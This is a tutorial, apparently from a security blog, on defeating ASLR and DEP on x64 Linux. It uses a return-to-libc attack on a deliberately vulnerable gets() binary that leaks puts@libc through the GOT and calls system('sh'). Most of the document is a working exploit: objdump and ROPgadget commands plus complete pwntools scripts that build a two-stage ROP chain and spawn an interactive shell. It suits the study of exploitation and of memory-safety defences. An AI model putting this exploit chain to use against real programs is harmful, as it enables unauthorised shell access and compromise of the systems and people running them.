Today, I’d like to take some time and to present a short trick to bypass both ASLR (Address Space Layout Randomization) and DEP (Data Execution Prevention) in order to obtain a shell in a buffer-overflow vulnerable binary.

I’ve seen this problem discussed using return-to-PLT strategies, which is fine if your targeted method is already used in the binary – although, let’s face it, not many programs will call system() or exec() and invite you to spawn shells.

This approach revolves around a return-to-libc attack in which the attacker first leaks the address of a known function (e.g.: puts()) and then computes the offset between that known function and the targeted function (e.g.: system()). By summing the 2 values, the result is the address of the function that we want to call using the exploit. If you understood this part, you only need to prepare the payloads.

Given a vulnerable binary, let’s consider the following scenario:

  1. ASLR is enabled
  2. DEP is enabled
  3. Only gets() and puts() are called in the binary
  4. Running on a x64 system (no brute-force)
  5. For the sake of simplicity: no stack protectors (no canary values)
  6. The attacker knows which libc version is used by the binary

Vulnerable Binary

While writing this, I’ve been using this really simple binary (vuln.c):

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#include<stdio.h>

int main()
{
    char buffer[40];
    gets(buffer);

    printf("hi there\n");

    return 0;
}

Compiled with the following parameters:

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gcc -Wall -ansi -fno-stack-protector vuln.c -o vuln

Step 1: Basic Buffer Overflow

We start by finding the offset in order to overwrite the return address and perform a simple execution hijacking. There are multiple ways of doing this: you can either start with a payload of a random size and analyze the behavior of the binary in a debugger (like GDB) such as the image below, where we overwrite the return address and the RIP (PC) jumps to 0x414241424142 (“ABABAB”)

Finding the offset for a buffer overflow attack by trial-and-error

Finding the offset for a buffer overflow attack by trial-and-error

I usually test this with an address that calls a specific function or jumps back to the start of the program (0x400566)

The 'main' address is used to call the program multiple times and supply multiple payloads

The ‘main’ address is used to call the program multiple times and supply multiple payloads

Should you succeed, it will print twice the same message:

Running the same program twice to prevent ASLR re-randomization

Running the same program twice to prevent ASLR re-randomization

Why is this important?

It is important because ASLR randomizes the heap, stack and the offsets where are mapped the libraries (such as libc) only when the binary is launched into execution. Calling main once again will not trigger a re-randomization.

This means we can submit multiple payloads while having fixed offsets (mitigating the effect of ASLR).

Step 2: Leaking the Address of puts@libc

This is the difficult part. Multiple payloads are required in order to spawn a shell using this binary. Basically, you’ll want to leak the address of puts() using a puts@PLT() call and then compute the address of system() by having access to libc. Additionally, you’ll want to compute the address of a “sh” string, in order to achieve a system("sh") call. You’ll have to use a second payload to perform the aforementioned call.

I recommend you perform these steps using a framework like pwntools since the the second payload must be adapted using information leaked at runtime.

To continue, one must understand the role of the GOT (Global Offset Table) in a binary as there is no exact way of previously knowing where ASLR will map each external library of the current process.

Running ldd reveals different mapping addresses of libc each time the process starts

Running ldd reveals different mapping addresses of libc each time the process starts

The addresses of the external methods are usually determined at runtime when these methods are called for the first time (i.e.: when the PLT trampoline is executed for the first time). However, the addresses need to be referenced in the original code before the program runs -> so placeholders (fixed addresses / @GOT addresses) are used. GOT acts as a dictionary and binds the placeholder addresses to the real/external addresses (in the library). The values of the GOT are determined and written by the dynamic address solver (linker) once a method is called.

In our first payload, we’ll want to use GOT addresses (placeholders) instead of external addresses (which are randomized). One interesting observation is that calling puts(puts@GOT) will actually output the external address of puts@libc.

We’ll want our initial payload to perform such a call in order to have an initial idea of where the libc is mapped.

Start by running the following command so you can view the address of puts@GOT:

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objdump -R vuln

Pay attention at the second row and write down the address:

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OFFSET           TYPE                VALUE

0000000000600ff8 R_X86_64_GLOB_DAT   __gmon_start__
> 0000000000601018 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
0000000000601020 R_X86_64_JUMP_SLOT  __libc_start_main@GLIBC_2.2.5
0000000000601028 R_X86_64_JUMP_SLOT  gets@GLIBC_2.2.5

Next, you’ll need a ROP gadget that takes a parameter from the stack and places it into the RDI register (in our case, takes the @GOT address from our payload, from the stack, and sets it as the first parameter for a future puts@PLT call). As you remember, we’re running on a x64 architecture and the calling convention states that the first parameter of a method must be placed in the RDI register. We’re looking for a POP RDI; RET gadget – I’m doing this using ROPgadget (so it’s ROPgadget --binary vuln) but feel free to use whatever you’re comfortable with (GDB, radare2, etc.).

We’ll get the following line:

0x00000000004005f3 : pop rdi ; ret

The last thing that the payload requires is a way to call puts(). We can achieve this by calling puts@PLT (through the PLT trampoline) since its address is also fixed and unaffected by ASLR.
You can use something like this to extract the address from the binary:

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objdump -d -M intel vuln | grep "puts@plt"

I got something like this:

0000000000400430 <puts@plt>:

Finally, we can construct the first payload. I’ll write this as a pwntools python script so I’ll be able to expand it and include the second payload. The new flow of the program must be the following:

RET to pop_rdi_ret_address -> (RDI = puts@GOT) RET to puts_plt_address -> RET to main

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from pwn import *

r = process('vuln')

main_address = 0x00400566
puts_got_address = 0x0000000000601018
puts_plt_address = 0x0000000000400430
pop_rdi_ret_address = 0x00000000004005f3

payload = 'A'*56 + p64(pop_rdi_ret_address) + p64(puts_got_address) + p64(puts_plt_address) + p64(main_address)

r.sendline(payload)
print r.recvline() # "hi there"

leaked_output = r.recvline()
leaked_output = leaked_output[:-1]

print('leaked puts() address', leaked_output)
r.sendline('a')
print r.recvline() # "hi there"

And when running it…

Leaking the address of puts@libc

Leaking the address of puts@libc

Step 3: Finding the Address of system@libc

In this part, we compute the offset between puts@libc and system@libc while also finding the address of a “sh” string. We know, from the previous ldd run, that the binary uses the libc located at: /lib/x86_64-linux-gnu/libc.so.6.

Running the following commands will return the offsets of system() and puts() from libc:

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objdump -d -M intel /lib/x86_64-linux-gnu/libc.so.6 | grep "system"
objdump -d -M intel /lib/x86_64-linux-gnu/libc.so.6 | grep "_IO_puts"

The lines of interest are:

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0000000000045390 <__libc_system@@GLIBC_PRIVATE>:
000000000006f690 <_IO_puts@@GLIBC_2.2.5>:

I found the offset of the “sh” string inside libc using radare2. Pick one.

Offsets of various 'sh' strings inside libc (radare2)

Offsets of various ‘sh’ strings inside libc (radare2)

Subtracting puts()’s offset from the leaked puts@libc address gives us the base address of libc (the start of the memory region where it is mapped for the current process). By adding the offset of system() we get a call to system@libc.

Now, we can adapt the previous script in order to create the second payload that makes the call.

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from pwn import *

r = process('vuln')

main_address = 0x00400566
puts_got_address = 0x0000000000601018
puts_plt_address = 0x0000000000400430
pop_rdi_ret_address = 0x00000000004005f3

puts_libc_offset = 0x000000000006f690
system_libc_offset = 0x0000000000045390
sh_libc_offset = 0x00011e70

payload = 'A'*56 + p64(pop_rdi_ret_address) + p64(puts_got_address) + p64(puts_plt_address) + p64(main_address)

r.sendline(payload)
print r.recvline()

leaked_output = r.recvline()
leaked_output = leaked_output[:-1]

print('leaked puts() address', leaked_output)

leaked_output += '\x00\x00'

puts_libc_address = u64(leaked_output)

system_libc_address = puts_libc_address - puts_libc_offset + system_libc_offset
print('system() address', p64(system_libc_address))

sh_libc_address = puts_libc_address - puts_libc_offset + sh_libc_offset

payload = 'A'*56 + p64(pop_rdi_ret_address) + p64(sh_libc_address) + p64(system_libc_address) + p64(main_address)

r.sendline(payload)

print(r.recvline()) # hi there

#r.sendline(payload)

r.interactive()

Small Proof-Of-Concept

Here is a small PoC, representing the final result.

For reference, the VM runs 64 bit image of Ubuntu 16.04 Xenial with glibc 2.23 (md5(libc.so.6): 8c0d248ea33e6ef17b759fa5d81dda9e), pwntools 4.0.1 and Python 2.7.

Upon receiving an email (thanks Stefan), I’ve noticed that I was sending the payload twice (had 2x r.sendline(payload)); this caused the weird “not found” message in the shell. I commented it out in the code above but left the image in case someone has this issue too.
Proof-Of-Concept: Shell spawned inside a Process with ASLR and DEP

Proof-Of-Concept: Shell spawned inside a Process with ASLR and DEP